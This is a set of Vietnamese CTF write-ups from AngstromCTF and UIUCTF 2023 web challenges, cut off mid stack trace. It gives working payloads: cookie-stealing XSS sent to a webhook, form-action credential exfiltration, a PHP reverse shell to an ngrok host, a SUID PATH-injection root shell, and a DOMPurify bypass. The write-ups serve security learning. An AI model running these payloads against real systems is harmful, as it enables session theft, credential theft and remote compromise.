| Ok xong rồi, giờ ý tưởng của mình là craft một payload để khiến i nó nhỏ nhỏ xíu (vì nó đọc 2 byte, ví dụ aa là 0x61 và 0x61 nó sẽ đọc thành 0x6161), vì nó skip qua 4 byte đầu nên mình sẽ padding cái signature byte thêm 1 byte, sau đó dùng 2 ký tự xuống dòng (0x0a0a) sẽ làm cho cái i nó nhỏ nhỏ để tí không phải padding quá nhiều, và vì a [\n\n] = ... trong JS cũng hợp lệ nên không vấn đề gì 53 | 54 | Sau khi debug trên local thì mình biết giá trị của i khi pass 2 dấu xuống dòng vào là 3338, ta sẽ padding để tí nữa khi nó đọc byte tại index 3338 sẽ là ký tự 0xff, và tiếp sau đó là 0xC0 và padding thêm vài byte size nữa ( bạn xem hàm extractSize, nó sẽ extract mấy byte sau 0xC0 làm width và height cho ảnh, này mình padding mấy chữ f vô chắc là ổn rồi, tí vì chỉ cần nó đều trên 120 để pass cái check là được ) 55 | 56 | Ta sẽ có payload: 57 | ```! 58 | ÿØÿa 59 | 60 | ='AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA';window.location.href='https://webhook.site/68a40976-d351-4dde-a022-b23547e4cc1c/?c='+document.cookie;//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'//ÿÀffffffff 61 | ``` 62 | 63 | Trong phần padding mấy chữ A mình cũng chèn cả payload vào nữa, nhưng cả phần payload và padding đều phải chính xác từng byte để tí không bị lệch khi get size 64 | 65 | Giờ ta upload lên và dùng XSS chèn thẻ script chỉa đến endpoint avatar 66 | 67 | ![](https://i.imgur.com/eeRMAOL.png) 68 | 69 | Sau khi làm thử thì không thấy request gửi về webhook, thử trên trình duyệt thì thấy nó báo lỗi ở 3 byte đầu, shiet. 70 | 71 | Research một hồi mình tìm được bài https://portswigger.net/research/bypassing-csp-using-polyglot-jpegs 72 | 73 | Thử thêm `charset="ISO-8859-1"` vào thẻ script và gửi lại thì request đã nằm trên webhook cùng với flag 74 | 75 | Payload: 76 | ``` 77 |

a.a. 78 | ``` 79 | 80 | ![](https://i.imgur.com/fsBFH4Q.png) 81 | -------------------------------------------------------------------------------- /Angstrong CTF 2023/web.md: -------------------------------------------------------------------------------- 1 | ## [10] catch me if you can 2 | 3 | view source code sẽ tìm ra flag 4 | 5 | ## [20] Celeste Speedrunning Association 6 | Score cao nhất là 0, thử đưa một số rất lớn vào sẽ khiến nó tràn số về số âm (có vẻ code bằng JAVA) 7 | ``` 8 | start=168261534697465165489498497498 9 | ``` 10 | 11 | ``` 12 | you win the flag: actf{wait_until_farewell_speedrun} 13 | ``` 14 | 15 | ## [40] shortcircuit 16 | Hàm chunk sẽ split flag ra thành mảng 4 phần tử, mỗi phần tử 30 character long, sau đó dùng swap hoán đổi vị trí 4 phần tử này, gọi swap 2 lần trên mảng trên thì mảng sẽ về vị trí ban đầu, join lại ta sẽ có flag 17 | 18 | ``` 19 | swap(swap(chunk("7e08250c4aaa9ed206fd7c9e398e2}actf{cl1ent_s1de_sucks_544e67ef12024523398ee02fe7517fffa92516317199e454f4d2bdb04d9e419ccc7", 30))).join("") 20 | ``` 21 | 22 | ``` 23 | actf{cl1ent_s1de_sucks_544e67e6317199e454f4d2bdb04d9e419ccc7f12024523398ee02fe7517fffa92517e08250c4aaa9ed206fd7c9e398e2} 24 | ``` 25 | 26 | ## [40] directory 27 | Flag nằm ở một trong số cái file đó, bruteforce đến file 3054 sẽ thấy flag 28 | 29 | https://directory.web.actf.co/3054.html 30 | ``` 31 | actf{y0u_f0und_me_b51d0cde76739fa3} 32 | ``` 33 | 34 | ## [40] Celeste Tunneling Association 35 | Theo code ta chỉ cần đưa giá trị `flag.local` vào header Host là sẽ có flag 36 | 37 | ``` 38 | actf{reaching_the_core__chapter_8} 39 | ``` 40 | 41 | ## [80] hallmark 42 | Goal là XSS để lấy flag từ cookie của con bot, nhưng cách thông thường thì ta sẽ không thể lấy được content type `image/svg+xml` nhằm đưa một file svg chứa javascript vào 43 | 44 | Tuy nhiên tại route PUT, ta có thể update card, với logic xử lý bên dưới ta có thể update để card trả về `image/svg+xml` bằng lỗi type confusion 45 | ``` 46 | cards[id].type = type == "image/svg+xml" ? type : "text/plain"; 47 | cards[id].content = type === "image/svg+xml" ? IMAGES[svg || "heart"] : content; 48 | ``` 49 | Request: 50 | ```http 51 | PUT /card HTTP/1.1 52 | Host: hallmark.web.actf.co 53 | Content-Length: 1202 54 | Cache-Control: max-age=0 55 | Sec-Ch-Ua: "Not:A-Brand";v="99", "Chromium";v="112" 56 | Sec-Ch-Ua-Mobile: ?0 57 | Sec-Ch-Ua-Platform: "Windows" 58 | Upgrade-Insecure-Requests: 1 59 | Origin: https://hallmark.web.actf.co 60 | Content-Type: application/x-www-form-urlencoded 61 | User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.50 Safari/537.36 62 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 63 | Sec-Fetch-Site: same-origin 64 | Sec-Fetch-Mode: navigate 65 | Sec-Fetch-User: ?1 66 | Sec-Fetch-Dest: document 67 | Referer: https://hallmark.web.actf.co/ 68 | Accept-Encoding: gzip, deflate 69 | Accept-Language: en-US,en;q=0.9 70 | Connection: close 71 | 72 | svg=text&content=%3c%3f%78%6d%6c%20%76%65%72%73%69%6f%6e%3d%22%31%2e%30%22%20%73%74%61%6e%64%61%6c%6f%6e%65%3d%22%6e%6f%22%3f%3e%0a%3c%21%44%4f%43%54%59%50%45%20%73%76%67%20%50%55%42%4c%49%43%20%22%2d%2f%2f%57%33%43%2f%2f%44%54%44%20%53%56%47%20%31%2e%31%2f%2f%45%4e%22%20%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%47%72%61%70%68%69%63%73%2f%53%56%47%2f%31%2e%31%2f%44%54%44%2f%73%76%67%31%31%2e%64%74%64%22%3e%0a%0a%3c%73%76%67%20%76%65%72%73%69%6f%6e%3d%22%31%2e%31%22%20%62%61%73%65%50%72%6f%66%69%6c%65%3d%22%66%75%6c%6c%22%20%78%6d%6c%6e%73%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%30%2f%73%76%67%22%3e%0a%20%20%3c%70%6f%6c%79%67%6f%6e%20%69%64%3d%22%74%72%69%61%6e%67%6c%65%22%20%70%6f%69%6e%74%73%3d%22%30%2c%30%20%30%2c%35%30%20%35%30%2c%30%22%20%66%69%6c%6c%3d%22%23%30%30%39%39%30%30%22%20%73%74%72%6f%6b%65%3d%22%23%30%30%34%34%30%30%22%2f%3e%0a%20%20%3c%73%63%72%69%70%74%20%74%79%70%65%3d%22%74%65%78%74%2f%6a%61%76%61%73%63%72%69%70%74%22%3e%0a%20%20%20%20%61%6c%65%72%74%28%22%58%53%53%20%62%79%20%42%48%41%52%41%54%22%29%3b%0a%20%20%3c%2f%73%63%72%69%70%74%3e%0a%3c%2f%73%76%67%3e&id=2c05d443-a964-44b6-8d9f-6b91bbfdb41b&type[]=image/svg%2bxml 73 | ``` 74 | Ta sẽ craft được một link thực thi được JS, gửi link này đến bot và lấy flag 75 | https://hallmark.web.actf.co/card?id=2c05d443-a964-44b6-8d9f-6b91bbfdb41b 76 | 77 | ## [110] brokenlogin 78 | Ứng dụng chạy flask, nhìn vào đoạn sau ta có thể thấy lỗi SSTI 79 | ``` 80 | render_template_string(indexPage % custom_message, fails=fails) 81 | ``` 82 | `custom_message` là data lấy từ `request.args["message"]`, được đưa trực tiếp vào `render_template_string`, nhưng vấn đề flag không nằm ở đây là flag nằm ở password của con bot, nên có vẻ đây vẫn là challenge client side 83 | 84 | Mặc định thì template engine sẽ escape html của tất cả output, ta không thể chèn tag html gì, nhưng vì ta có thể dùng template markup, jinja (flask mặc định sài jinja) có một keyword là safe để đánh dấu là output này safe và không cần escape, ta có thể dùng keyword này để chèn HTML vào và từ đó lead tới XSS 85 | 86 | Nhưng để ý nếu payload dài quá 25 ký tự nó sẽ không nối input vào `render_template_string` nữa nên ta sẽ dùng 1 trick nhỏ 87 | 88 | `{{request.args.a|safe}}` 89 | 90 | ``` 91 | https://brokenlogin.web.actf.co/?message={{request.args.a|safe}}&a=%3Cscript%3Ealert(%27a%27)%3C/script%3E 92 | ``` 93 | Ta sẽ lấy input từ một parameter khác là `a` thì ta sẽ bypass qua được length restriction 94 | 95 | Tiếp theo ta sẽ dùng JS để thay đổi `action` của form để khi con bot submit thì nó sẽ gửi đến url của ta 96 | ``` 97 | https://brokenlogin.web.actf.co/?message={{request.args.a|safe}}&a=%3Cscript%3Edocument.body.onload%20=%20()%20=%3E%20document.getElementsByTagName(%27form%27)[0].action%20=%20%22https://webhook.site/68a40976-d351-4dde-a022-b23547e4cc1c%22%3C/script%3E 98 | ``` 99 | webhook: 100 | ``` 101 | username=admin&password=actf%7Badm1n_st1ll_c4nt_l0g1n_11dbb6af58965de9%7D 102 | ``` 103 | 104 | ## [180] filestore 105 | Cái upload file thật ra để đánh lạc hướng đó ae, bài này gồm 2 giai đoạn, giai đoạn from LFI to RCE và leo quyền để đọc flag. 106 | 107 | Về LFI to RCE, đọc source ta sẽ thấy nếu có param `f` thì nó sẽ `include "./uploads/" . $_GET["f"];` => Path traversal, nhưng vấn đề là include cái gì đây, đọc file thì ok nhưng mà cũng không thể đọc flag, cái flag đã bị set permission để chỉ cho admin đọc, mình là user `ctf` không đọc được. Ta sẽ đến với PEAR, PEAR (PHP Extension and Application Repository) là một framework của PHP, liên tưởng nó giống như NPM bên NodeJS, nó hỗ trợ coder tái sử dụng các class có sẵn của PHP (xử lý cache, DB, ...) để tiết kiệm thời gian khi dev. Bản thân nó là một CLI program, nhưng nếu PHP config set `register_argc_argv` thì pear sẽ có thể nhận các REQUEST paramater thay cho CLI argument, và PEAR thì gần như luôn tích hợp sẵn trong PHP 108 | 109 | http://man.he.net/man1/pecl 110 | 111 | Như ta thấy với option `config-create`, ta có thể tạo ra một config file, với việc có thể truyền tham số cho program thông qua các parameter, ta có thể write được một con Shell lên server và từ đó RCE 112 | ``` 113 | config-create Create a Default configuration file 114 | ``` 115 | Với điều kiện ta tìm được 1 thư mục mà ta có quyền write, cùng với đó là config `register_argc_argv` được set là true. Với PHP docker image thì config `register_argc_argv` luôn được set, và theo như file docker thì permission của folder `www` bị đổi, ta không có quyền write vào nó, ta sẽ dùng thư mục `tmp`, write shell vào đây rồi dùng path traversal include file PHP đó 116 | ![](https://i.imgur.com/pkIRLQX.png) 117 | 118 | ![](https://i.imgur.com/KoaL5Qo.png) 119 | 120 | Giờ dùng PHP để lấy reverse shell 121 | ```http 122 | GET /?f=../../../../tmp/shin24.php&c=php+-r+'$sock=fsockopen("0.tcp.ap.ngrok.io",10968);$proc=proc_open("/bin/sh+-i",+array(0=>$sock,+1=>$sock,+2=>$sock),$pipes);' HTTP/1.1 123 | Host: filestore.web.actf.co 124 | Cache-Control: max-age=0 125 | Sec-Ch-Ua: "Not:A-Brand";v="99", "Chromium";v="112" 126 | Sec-Ch-Ua-Mobile: ?0 127 | Sec-Ch-Ua-Platform: "Windows" 128 | Upgrade-Insecure-Requests: 1 129 | User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.50 Safari/537.36 130 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 131 | Sec-Fetch-Site: none 132 | Sec-Fetch-Mode: navigate 133 | Sec-Fetch-User: ?1 134 | Sec-Fetch-Dest: document 135 | Accept-Encoding: gzip, deflate 136 | Accept-Language: en-US,en;q=0.9 137 | Connection: close 138 | 139 | 140 | ``` 141 | 142 | Giờ ta cat flag thôi nhở 143 | 144 | ![](https://i.imgur.com/HAgt4Bh.png) 145 | 146 | Làm gì dễ thế =))), đây là state 2, ta sẽ phải priv esc để đọc được flag, check owner thấy flag.txt là của admin, vậy ta phải nâng quyền mình lên admin, trong các file mà ta được đưa có 2 file SUID binary, lúc đầu thì mình cũng khá confuse, để đỡ dài dòng thì mình sẽ nói luôn là ta cần chú ý vào file `list_uploads`, đưa vào IDA và f5 lên ta sẽ thấy nó đang gọi đến binary `ls` 147 | ![](https://i.imgur.com/5L8QjUR.png) 148 | 149 | Nhưng mà lưu ý là ở đây nó gọi đến ls, chứ không phải `/bin/ls`, vậy thì ta có thể dùng PATH injection, tạo một file tên `ls` ở một folder nào đó (`tmp` đi) rồi chạy lại SUID kia, file `ls` sẽ là một file để spawn shell. Nội dung file `ls` của mình (thật ra là của @Robbert1978 viết, pao thủ thế giới) 150 | ```c 151 | #define _GNU_SOURCE 152 | #include 153 | #include 154 | #include 155 | #include 156 | #include 157 | #include 158 | #include 159 | #include 160 | #include 161 | #include 162 | #include 163 | #include 164 | #include 165 | #include 166 | #define log_info(...) { \ 167 | printf("[*] "); \ 168 | printf(__VA_ARGS__); \ 169 | putchar(10); \ 170 | }; 171 | 172 | int main(){ 173 | setuid(999); 174 | if(getuid()!=999){ 175 | puts("chiu"); 176 | exit(-1); 177 | } 178 | execve("/bin/sh",NULL,NULL); 179 | } 180 | ``` 181 | 182 | Ở đây `999` là EUID của user admin 183 | 184 | Đưa file này lên server và compile (hoặc compile rồi đưa lên server, nhớ là zip lại để không bị mất execute permission) rồi chạy file `list_uploads` ta sẽ spawn được shell với quyền admin, giờ thì cat flag thôi 185 | -------------------------------------------------------------------------------- /uiuctf-2023/web.md: -------------------------------------------------------------------------------- 1 | ## Peanut XSS 2 | Như cái tên và description, ta cần tìm cách khai thác được XSS và lấy được cookie của user 3 | 4 | Bài này dựa vào những dòng inline script đầu tiên ta nhận thấy input duy nhất được đưa vào hàm `DOMPurify.sanitize`, việc đầu tiên nghĩ đến sẽ là tìm cách bypass DOMPurify, tuy nhiên DOMPurify sử dụng cơ chế không dễ ăn tí nào, bằng cách dựa vào chính DOM tree để loại bỏ các tag và attribute không mong muốn. 5 | 6 | Nhìn vào quá khứ đã từng có một số lỗ hổng như MXSS khiến cho việc bypass DOMPurify trở nên khả thi, vậy ta sẽ tìm version hiện tại của nó trước. Bằng cách vào chrome devtool ta thấy được version là 2.3.6, có vẻ không có cve đã biết nào, nhưng version cũng không phải latest, không lẽ là 0day? 7 | 8 | ![](https://hackmd.io/_uploads/BkRgzUgYh.png) 9 | 10 | Nhìn qua sẽ không thấy lib DOMPurify được load vào ở giao diện chính, điều tra vào thư viện Nutshell sẽ thấy minified DOMPurify script được kèm ở trong thư viện này luôn, khả năng ta sẽ dựa vào thư viện này để bypass qua DOMPurify 11 | 12 | Sau một thời gian audit mình thấy dòng 13 | ```javascript 14 | linkText.innerHTML = ex.innerText.slice(ex.innerText.indexOf(':')+1); 15 | ``` 16 | `linktext` lát sau được đưa vào DOM tree ở dòng 17 | ```javascript 18 | ex.appendChild(linkText); 19 | ``` 20 | 21 | Context của đoạn code này là thư viện Nutshell sẽ tìm tất cả các tag `a`, check xem nếu trong innerText có vị trí đầu tiên là `:` thì nó sẽ trở thành một `expandable`, đại khái là khi click vô cái tag `a` đó thì nó sẽ drop down xuống một cái bong bóng chứa nội dung abc gì đó 22 | 23 | ### innerText and innerHTML 24 | 25 | Nhắc lại cách hoạt động của DOMPurify, dựa vào DOM tree để loại các node và attribute không mong muốn, đối với một cặp thẻ `

` thì có thể gọi là node p, với một dòng text đơn thuần thì sẽ được gọi là text node, khác biệt ở đâu? 26 | 27 | Ví dụ ta có data `

aaaa

`, nếu gọi đến innerHTML của thẻ `a` thì data thu được sẽ là `

aaaa

`, nếu gọi đến innerText thì kết quả thu được là `aaaa` 28 | 29 | Nhìn lại đoạn code gán `linkText.innerHTML` phía trên, ta có thể thấy rằng nếu ta có thể chèn các tag html như tag script vào innerText thì lát nữa khi được gán cho innerHTMl của linkText và insert vào DOM tree thì ta sẽ bypass qua được DOMPurify. 30 | 31 | Vấn đề là nếu ta dùng một payload dạng `

` thì script vẫn bị nhận là 1 thẻ html và lát nữa vào DOMPurify sẽ bị lọc, vậy làm sao để đoạn payload của ta được xem là 1 text node? Ta sẽ encode nó thành html entity, lát nữa khi đi qua innerText nó sẽ decode các html entity về lại plain text 32 | 33 | ```u! 34 | https://peanut-xss-web.chal.uiuc.tf/?nutshell=%3Ca+href=%27x%27%3E:a%3Ch1%3E%26%2360%26%23115%26%2399%26%23114%26%23105%26%23112%26%23116%26%2362%26%2397%26%23108%26%23101%26%23114%26%23116%26%2340%26%2341%26%2360%26%2347%26%23115%26%2399%26%23114%26%23105%26%23112%26%23116%26%2362%3C/h1%3E%3C/a%3E 35 | ``` 36 | 37 | Phải url encode vì html entity có chứa ký tự `&`, sẽ bị nhầm thành url parameter delimiter 38 | 39 | Tuy nhiên nó vẫn không chạy, dù f12 đã thấy có thẻ script được chèn vào DOM, vấn đề ở đâu nhỉ? 40 | ![](https://hackmd.io/_uploads/ryL_ULlKh.png) 41 | 42 | Đó là vì sau khi DOM được load lần đầu tiên, mọi hành động insert vào sau này sẽ không làm reload lại DOM, dẫn đến content bên trong thẻ script sẽ không chạy. Vậy thì cứ dùng payload img onerror kinh điển thôi :v 43 | 44 | ```a! 45 | https://peanut-xss-web.chal.uiuc.tf/?nutshell=%3Ca+href=%27x%27%3E:a%3Ch1%3E%26%2360%26%23105%26%23109%26%23103%26%2332%26%23115%26%23114%26%2399%26%2361%26%23120%26%2332%26%23111%26%23110%26%23101%26%23114%26%23114%26%23111%26%23114%26%2361%26%2397%26%23108%26%23101%26%23114%26%23116%26%2340%26%2334%26%2349%26%2334%26%2341%26%2332%26%2347%26%2362%3C/h1%3E%3C/a%3E 46 | ``` 47 | 48 | ![](https://hackmd.io/_uploads/HJ3fYUgth.png) 49 | 50 | XSS được rồi thì đoạn viết script lấy cookie sẽ đơn giản thôi 51 | 52 | ## Adminplz 53 | Bài này là một bài java, sử dụng framework spring, flag nằm ở file flag.html trong thư mục root. 54 | 55 | ![](https://hackmd.io/_uploads/BJ9spIeF3.png) 56 | 57 | Nhìn vào code ta sẽ thấy tại route `/admin`, input của ta lấy từ param `view` sẽ được đưa vào hàm getResource, mục đích của hàm này là tìm và trả về một file và định dạng input có thể truyền vào cũng khá đa dạng, mình sẽ tóm tắt như sau: 58 | - Nếu input có `classpath:` đằng trước thì spring sẽ tìm file này trong các classpath 59 | - Nếu input có `http://` hoặc `https://` đằng trước thì sẽ gửi HTTP request tới resource để fetch nội dung về 60 | - Nếu input có prefix là `file://` thì sẽ fetch file từ file system 61 | 62 | Vậy đây có thể xem như một lỗ hổng SSRF, ta có thể đọc mọi file trên server và làm cho nó hiện thị, nhưng vấn đề là chỉ có admin đọc được nội dung này, và file flag cũng chỉ admin đọc được. Vậy ta có thể liên kết 2 việc này lại và đoán rằng có vẻ đây lại là 1 bài client side khác, tuy nhiên CSP lại rất strict và có lẽ ta sẽ không thể bypass qua được 63 | 64 | Để ý một chi tiết đó là mọi truy cập authenticated nếu request đến với `view` chứa từ `flag` đều được ghi log lại, và log nằm ở `/var/log/adminplz/latest.log`, ta thấy định dạng được ghi vào gồm có username và sessionid (cookie) của user đó. Kết hợp với dữ kiện username mà ta nhập vào không được sanitize mà ghi thẳng vào log, ta sẽ có gì? 65 | 66 | Ta có thể lợi dụng thẻ meta redirect (bypass qua CSP), kết hợp với dangling markup để điều hướng admin đến burp collaborator (hoặc 1 server nào đó mà ta control) để lấy cookie và login vào để đọc flag 67 | 68 | Flow sẽ như sau: 69 | - Gửi request với username là `` cho admin truy cập để ghi cookie của admin vào log và đóng double quote của dangling markup lại 71 | - Cuối cùng là gửi cho admin endpoint`/admin?view=file:///var/log/adminplz/latest.log` để admin đọc file này và redirect đến server của ta 72 | 73 | File log sau state 2 sẽ trông thế này 74 | 75 | ``` 76 | WARN d.arxenix.adminplz.AdminApplication - user ] cannot be resolved to URL because it does not exist 80 | at org.springframework.web.context.support.ServletContextResource.getURL(ServletContextResource.java:179) 81 | at org.springframework.core.io.AbstractFileResolvingResource.contentLength(AbstractFileResolvingResource.java:244) 82 | at org.springframework.http.converter.ResourceHttpMessageConverter.getContentLength(ResourceHttpMessageConverter.java:122) 83 | at org.springframework.http.converter.ResourceHttpMessageConverter.getContentLength(ResourceHttpMessageConverter.java:46) 84 | at org.springframework.http.converter.AbstractHttpMessageConverter.addDefaultHeaders(AbstractHttpMessageConverter.java:258) 85 | at org.springframework.http.converter.AbstractHttpMessageConverter.write(AbstractHttpMessageConverter.java:210) 86 | at org.springframework.web.servlet.mvc.method.annotation.AbstractMessageConverterMethodProcessor.writeWithMessageConverters(AbstractMessageConverterMethodProcessor.java:300) 87 | at org.springframework.web.servlet.mvc.method.annotation.RequestResponseBodyMethodProcessor.handleReturnValue(RequestResponseBodyMethodProcessor.java:194) 88 | at org.springframework.web.method.support.HandlerMethodReturnValueHandlerComposite.handleReturnValue(HandlerMethodReturnValueHandlerComposite.java:78) 89 | at org.springframework.web.servlet.mvc.method.annotation.ServletInvocableHandlerMethod.invokeAndHandle(ServletInvocableHandlerMethod.java:136) 90 | at org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.invokeHandlerMethod(RequestMappingHandlerAdapter.java:884) 91 | at org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.handleInternal(RequestMappingHandlerAdapter.java:797) 92 | at org.springframework.web.servlet.mvc.method.AbstractHandlerMethodAdapter.handle(AbstractHandlerMethodAdapter.java:87) 93 | at org.springframework.web.servlet.DispatcherServlet.doDispatch(DispatcherServlet.java:1081) 94 | at org.springframework.web.servlet.DispatcherServlet.doService(DispatcherServlet.java:974) 95 | at org.springframework.web.servlet.FrameworkServlet.processRequest(FrameworkServlet.java:1011) 96 | at org.springframework.web.servlet.FrameworkServlet.doGet(FrameworkServlet.java:903) 97 | at jakarta.servlet.http.HttpServlet.service(HttpServlet.java:564) 98 | at org.springframework.web.servlet.FrameworkServlet.service(FrameworkServlet.java:885) 99 | at jakarta.servlet.http.HttpServlet.service(HttpServlet.java:658) 100 | at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:205) 101 | at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:149) 102 | at org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:51) 103 | at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:174) 104 | at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:149) 105 | at dev.arxenix.adminplz.CSP.doFilter(CSP.java:16) 106 | at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:174) 107 | at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:149) 108 | at org.springframework.web.filter.RequestContextFilter.doFilterInternal(RequestContextFilter.java:100) 109 | at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:116) 110 | at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:174) 111 | at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:149) 112 | at org.springframework.web.filter.FormContentFilter.doFilterInternal(FormContentFilter.java:93) 113 | at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:116) 114 | at 